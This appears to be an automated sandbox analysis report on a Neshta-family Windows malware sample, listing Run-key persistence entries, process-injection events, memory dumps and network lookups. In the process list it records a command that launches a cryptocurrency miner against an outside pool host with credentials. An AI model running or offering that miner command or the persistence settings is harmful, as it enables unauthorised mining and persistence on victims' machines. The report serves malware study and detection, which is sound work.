Malware Analysis Report

2024-11-16 12:12

Sample ID 240722-wmm8kazcmg
Target 6436b616296e3eb04b070ccffcde5371_JaffaCakes118
SHA256 afd4ccee52662f1e38130428991c0c8bad01de5c027ec941ce228f8336b9d164
Tags
neshta persistence
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

afd4ccee52662f1e38130428991c0c8bad01de5c027ec941ce228f8336b9d164

Threat Level: Known bad

The file 6436b616296e3eb04b070ccffcde5371_JaffaCakes118 was found to be: Known bad.

Malicious Activity Summary

neshta persistence

Detect Neshta payload

Neshta family

Adds Run key to start application

Suspicious use of SetThreadContext

Unsigned PE

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-07-22 18:02

Signatures

Detect Neshta payload

Description Indicator Process Target
N/A N/A N/A N/A

Neshta family

neshta

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-07-22 18:02

Reported

2024-07-22 18:05

Platform

win7-20240704-en

Max time kernel

143s

Max time network

140s

Command Line

"C:\Users\Admin\AppData\Local\Temp\6436b616296e3eb04b070ccffcde5371_JaffaCakes118.exe"

Signatures

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Windows\CurrentVersion\Run\PService = "C:\\Users\\Admin\\AppData\\Local\\Temp\\6436b616296e3eb04b070ccffcde5371_JaffaCakes118.exe" C:\Users\Admin\AppData\Local\Temp\6436b616296e3eb04b070ccffcde5371_JaffaCakes118.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\PService = "C:\\Users\\Admin\\AppData\\Local\\Temp\\6436b616296e3eb04b070ccffcde5371_JaffaCakes118.exe" C:\Users\Admin\AppData\Local\Temp\6436b616296e3eb04b070ccffcde5371_JaffaCakes118.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2960 wrote to memory of 1924 N/A C:\Users\Admin\AppData\Local\Temp\6436b616296e3eb04b070ccffcde5371_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\6436b616296e3eb04b070ccffcde5371_JaffaCakes118.exe
PID 2960 wrote to memory of 1924 N/A C:\Users\Admin\AppData\Local\Temp\6436b616296e3eb04b070ccffcde5371_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\6436b616296e3eb04b070ccffcde5371_JaffaCakes118.exe
PID 2960 wrote to memory of 1924 N/A C:\Users\Admin\AppData\Local\Temp\6436b616296e3eb04b070ccffcde5371_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\6436b616296e3eb04b070ccffcde5371_JaffaCakes118.exe
PID 2960 wrote to memory of 1924 N/A C:\Users\Admin\AppData\Local\Temp\6436b616296e3eb04b070ccffcde5371_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\6436b616296e3eb04b070ccffcde5371_JaffaCakes118.exe
PID 2960 wrote to memory of 1924 N/A C:\Users\Admin\AppData\Local\Temp\6436b616296e3eb04b070ccffcde5371_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\6436b616296e3eb04b070ccffcde5371_JaffaCakes118.exe
PID 2960 wrote to memory of 1924 N/A C:\Users\Admin\AppData\Local\Temp\6436b616296e3eb04b070ccffcde5371_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\6436b616296e3eb04b070ccffcde5371_JaffaCakes118.exe
PID 2960 wrote to memory of 1924 N/A C:\Users\Admin\AppData\Local\Temp\6436b616296e3eb04b070ccffcde5371_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\6436b616296e3eb04b070ccffcde5371_JaffaCakes118.exe
PID 2960 wrote to memory of 1924 N/A C:\Users\Admin\AppData\Local\Temp\6436b616296e3eb04b070ccffcde5371_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\6436b616296e3eb04b070ccffcde5371_JaffaCakes118.exe
PID 2960 wrote to memory of 1924 N/A C:\Users\Admin\AppData\Local\Temp\6436b616296e3eb04b070ccffcde5371_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\6436b616296e3eb04b070ccffcde5371_JaffaCakes118.exe
PID 1924 wrote to memory of 2116 N/A C:\Users\Admin\AppData\Local\Temp\6436b616296e3eb04b070ccffcde5371_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\6436b616296e3eb04b070ccffcde5371_JaffaCakes118.exe
PID 1924 wrote to memory of 2116 N/A C:\Users\Admin\AppData\Local\Temp\6436b616296e3eb04b070ccffcde5371_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\6436b616296e3eb04b070ccffcde5371_JaffaCakes118.exe
PID 1924 wrote to memory of 2116 N/A C:\Users\Admin\AppData\Local\Temp\6436b616296e3eb04b070ccffcde5371_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\6436b616296e3eb04b070ccffcde5371_JaffaCakes118.exe
PID 1924 wrote to memory of 2116 N/A C:\Users\Admin\AppData\Local\Temp\6436b616296e3eb04b070ccffcde5371_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\6436b616296e3eb04b070ccffcde5371_JaffaCakes118.exe
PID 1924 wrote to memory of 2116 N/A C:\Users\Admin\AppData\Local\Temp\6436b616296e3eb04b070ccffcde5371_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\6436b616296e3eb04b070ccffcde5371_JaffaCakes118.exe
PID 1924 wrote to memory of 2116 N/A C:\Users\Admin\AppData\Local\Temp\6436b616296e3eb04b070ccffcde5371_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\6436b616296e3eb04b070ccffcde5371_JaffaCakes118.exe
PID 1924 wrote to memory of 2116 N/A C:\Users\Admin\AppData\Local\Temp\6436b616296e3eb04b070ccffcde5371_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\6436b616296e3eb04b070ccffcde5371_JaffaCakes118.exe
PID 1924 wrote to memory of 2116 N/A C:\Users\Admin\AppData\Local\Temp\6436b616296e3eb04b070ccffcde5371_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\6436b616296e3eb04b070ccffcde5371_JaffaCakes118.exe

Processes

C:\Users\Admin\AppData\Local\Temp\6436b616296e3eb04b070ccffcde5371_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\6436b616296e3eb04b070ccffcde5371_JaffaCakes118.exe"

C:\Users\Admin\AppData\Local\Temp\6436b616296e3eb04b070ccffcde5371_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\6436b616296e3eb04b070ccffcde5371_JaffaCakes118.exe"

C:\Users\Admin\AppData\Local\Temp\6436b616296e3eb04b070ccffcde5371_JaffaCakes118.exe

miner.exe -a 60 -g yes -o http://pool.dload.asia:8332/ -u redem_check -p orneliassssssssss

Network

Country Destination Domain Proto
US 8.8.8.8:53 pool.dload.asia udp

Files

memory/2960-1-0x00000000003B0000-0x00000000003B8000-memory.dmp

memory/2960-0-0x00000000003B0000-0x00000000003B8000-memory.dmp

memory/1924-7-0x0000000000400000-0x000000000043B000-memory.dmp

memory/1924-10-0x0000000000400000-0x000000000043B000-memory.dmp

memory/1924-13-0x0000000000400000-0x000000000043B000-memory.dmp

memory/1924-8-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

memory/1924-6-0x0000000000400000-0x000000000043B000-memory.dmp

memory/1924-4-0x0000000000400000-0x000000000043B000-memory.dmp

memory/1924-2-0x0000000000400000-0x000000000043B000-memory.dmp

memory/1924-14-0x0000000000400000-0x000000000043B000-memory.dmp

memory/2116-31-0x0000000000400000-0x0000000000537000-memory.dmp

memory/2116-35-0x0000000000400000-0x0000000000537000-memory.dmp

memory/2116-29-0x0000000000400000-0x0000000000537000-memory.dmp

memory/2116-27-0x0000000000400000-0x0000000000537000-memory.dmp

memory/2116-36-0x0000000000400000-0x00000000005368DA-memory.dmp

memory/2116-38-0x00000000004FD000-0x0000000000537000-memory.dmp

memory/2116-37-0x00000000004FD000-0x0000000000537000-memory.dmp

memory/2116-39-0x0000000000400000-0x00000000005368DA-memory.dmp

memory/2116-40-0x0000000000400000-0x0000000000537000-memory.dmp

memory/2116-42-0x0000000000400000-0x0000000000537000-memory.dmp

memory/2116-43-0x0000000000400000-0x00000000005368DA-memory.dmp

memory/2116-47-0x0000000000400000-0x00000000005368DA-memory.dmp

memory/2116-41-0x0000000000400000-0x00000000005368DA-memory.dmp

memory/2116-45-0x0000000000400000-0x0000000000537000-memory.dmp

memory/2116-48-0x0000000000400000-0x00000000005368DA-memory.dmp

memory/1924-49-0x0000000000400000-0x000000000043B000-memory.dmp

memory/2116-50-0x0000000000400000-0x00000000005368DA-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-07-22 18:02

Reported

2024-07-22 18:05

Platform

win10v2004-20240709-en

Max time kernel

150s

Max time network

150s

Command Line

"C:\Users\Admin\AppData\Local\Temp\6436b616296e3eb04b070ccffcde5371_JaffaCakes118.exe"

Signatures

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-701583114-2636601053-947405450-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\PService = "C:\\Users\\Admin\\AppData\\Local\\Temp\\6436b616296e3eb04b070ccffcde5371_JaffaCakes118.exe" C:\Users\Admin\AppData\Local\Temp\6436b616296e3eb04b070ccffcde5371_JaffaCakes118.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\PService = "C:\\Users\\Admin\\AppData\\Local\\Temp\\6436b616296e3eb04b070ccffcde5371_JaffaCakes118.exe" C:\Users\Admin\AppData\Local\Temp\6436b616296e3eb04b070ccffcde5371_JaffaCakes118.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 5024 wrote to memory of 1720 N/A C:\Users\Admin\AppData\Local\Temp\6436b616296e3eb04b070ccffcde5371_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\6436b616296e3eb04b070ccffcde5371_JaffaCakes118.exe
PID 5024 wrote to memory of 1720 N/A C:\Users\Admin\AppData\Local\Temp\6436b616296e3eb04b070ccffcde5371_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\6436b616296e3eb04b070ccffcde5371_JaffaCakes118.exe
PID 5024 wrote to memory of 1720 N/A C:\Users\Admin\AppData\Local\Temp\6436b616296e3eb04b070ccffcde5371_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\6436b616296e3eb04b070ccffcde5371_JaffaCakes118.exe
PID 5024 wrote to memory of 1720 N/A C:\Users\Admin\AppData\Local\Temp\6436b616296e3eb04b070ccffcde5371_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\6436b616296e3eb04b070ccffcde5371_JaffaCakes118.exe
PID 5024 wrote to memory of 1720 N/A C:\Users\Admin\AppData\Local\Temp\6436b616296e3eb04b070ccffcde5371_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\6436b616296e3eb04b070ccffcde5371_JaffaCakes118.exe
PID 5024 wrote to memory of 1720 N/A C:\Users\Admin\AppData\Local\Temp\6436b616296e3eb04b070ccffcde5371_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\6436b616296e3eb04b070ccffcde5371_JaffaCakes118.exe
PID 5024 wrote to memory of 1720 N/A C:\Users\Admin\AppData\Local\Temp\6436b616296e3eb04b070ccffcde5371_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\6436b616296e3eb04b070ccffcde5371_JaffaCakes118.exe
PID 5024 wrote to memory of 1720 N/A C:\Users\Admin\AppData\Local\Temp\6436b616296e3eb04b070ccffcde5371_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\6436b616296e3eb04b070ccffcde5371_JaffaCakes118.exe
PID 1720 wrote to memory of 4332 N/A C:\Users\Admin\AppData\Local\Temp\6436b616296e3eb04b070ccffcde5371_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\6436b616296e3eb04b070ccffcde5371_JaffaCakes118.exe
PID 1720 wrote to memory of 4332 N/A C:\Users\Admin\AppData\Local\Temp\6436b616296e3eb04b070ccffcde5371_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\6436b616296e3eb04b070ccffcde5371_JaffaCakes118.exe
PID 1720 wrote to memory of 4332 N/A C:\Users\Admin\AppData\Local\Temp\6436b616296e3eb04b070ccffcde5371_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\6436b616296e3eb04b070ccffcde5371_JaffaCakes118.exe
PID 1720 wrote to memory of 4332 N/A C:\Users\Admin\AppData\Local\Temp\6436b616296e3eb04b070ccffcde5371_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\6436b616296e3eb04b070ccffcde5371_JaffaCakes118.exe
PID 1720 wrote to memory of 4332 N/A C:\Users\Admin\AppData\Local\Temp\6436b616296e3eb04b070ccffcde5371_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\6436b616296e3eb04b070ccffcde5371_JaffaCakes118.exe
PID 1720 wrote to memory of 4332 N/A C:\Users\Admin\AppData\Local\Temp\6436b616296e3eb04b070ccffcde5371_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\6436b616296e3eb04b070ccffcde5371_JaffaCakes118.exe
PID 1720 wrote to memory of 4332 N/A C:\Users\Admin\AppData\Local\Temp\6436b616296e3eb04b070ccffcde5371_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\6436b616296e3eb04b070ccffcde5371_JaffaCakes118.exe

Processes

C:\Users\Admin\AppData\Local\Temp\6436b616296e3eb04b070ccffcde5371_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\6436b616296e3eb04b070ccffcde5371_JaffaCakes118.exe"

C:\Users\Admin\AppData\Local\Temp\6436b616296e3eb04b070ccffcde5371_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\6436b616296e3eb04b070ccffcde5371_JaffaCakes118.exe"

C:\Users\Admin\AppData\Local\Temp\6436b616296e3eb04b070ccffcde5371_JaffaCakes118.exe

miner.exe -a 60 -g yes -o http://pool.dload.asia:8332/ -u redem_check -p orneliassssssssss

Network

Country Destination Domain Proto
US 8.8.8.8:53 13.86.106.20.in-addr.arpa udp
US 8.8.8.8:53 172.214.232.199.in-addr.arpa udp
US 8.8.8.8:53 73.31.126.40.in-addr.arpa udp
US 8.8.8.8:53 43.58.199.20.in-addr.arpa udp
US 8.8.8.8:53 58.55.71.13.in-addr.arpa udp
US 8.8.8.8:53 50.23.12.20.in-addr.arpa udp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 147.142.123.92.in-addr.arpa udp
US 8.8.8.8:53 88.156.103.20.in-addr.arpa udp
US 8.8.8.8:53 48.229.111.52.in-addr.arpa udp
US 8.8.8.8:53 pool.dload.asia udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 10.28.171.150.in-addr.arpa udp
US 8.8.8.8:53 pool.dload.asia udp
US 8.8.8.8:53 udp

Files

memory/5024-0-0x0000000000680000-0x0000000000688000-memory.dmp

memory/5024-1-0x0000000000680000-0x0000000000688000-memory.dmp

memory/1720-2-0x0000000000400000-0x000000000043B000-memory.dmp

memory/1720-4-0x0000000000400000-0x000000000043B000-memory.dmp

memory/1720-5-0x0000000000400000-0x000000000043B000-memory.dmp

memory/4332-14-0x0000000000400000-0x0000000000537000-memory.dmp

memory/4332-15-0x0000000000400000-0x00000000005368DA-memory.dmp

memory/4332-17-0x00000000004FD000-0x0000000000537000-memory.dmp

memory/4332-16-0x00000000004FD000-0x0000000000537000-memory.dmp

memory/4332-22-0x0000000000400000-0x00000000005368DA-memory.dmp

memory/4332-21-0x0000000000400000-0x00000000005368DA-memory.dmp

memory/4332-20-0x0000000000400000-0x0000000000537000-memory.dmp

memory/4332-19-0x0000000000400000-0x00000000005368DA-memory.dmp

memory/4332-18-0x0000000000400000-0x0000000000537000-memory.dmp

memory/4332-23-0x0000000000400000-0x00000000005368DA-memory.dmp

memory/4332-25-0x0000000000400000-0x0000000000537000-memory.dmp

memory/4332-24-0x0000000000400000-0x00000000005368DA-memory.dmp

memory/4332-28-0x0000000000400000-0x00000000005368DA-memory.dmp

memory/4332-27-0x0000000000400000-0x00000000005368DA-memory.dmp

memory/4332-29-0x0000000000400000-0x00000000005368DA-memory.dmp

memory/1720-30-0x0000000000400000-0x000000000043B000-memory.dmp

memory/4332-31-0x0000000000400000-0x00000000005368DA-memory.dmp

memory/4332-32-0x0000000000400000-0x00000000005368DA-memory.dmp

memory/1720-33-0x0000000000400000-0x000000000043B000-memory.dmp

memory/4332-34-0x0000000000400000-0x00000000005368DA-memory.dmp

memory/4332-35-0x0000000000400000-0x00000000005368DA-memory.dmp

memory/4332-36-0x0000000000400000-0x00000000005368DA-memory.dmp

memory/1720-37-0x0000000000400000-0x000000000043B000-memory.dmp

memory/4332-38-0x0000000000400000-0x00000000005368DA-memory.dmp

memory/1720-39-0x0000000000400000-0x000000000043B000-memory.dmp

memory/4332-40-0x0000000000400000-0x00000000005368DA-memory.dmp

memory/1720-41-0x0000000000400000-0x000000000043B000-memory.dmp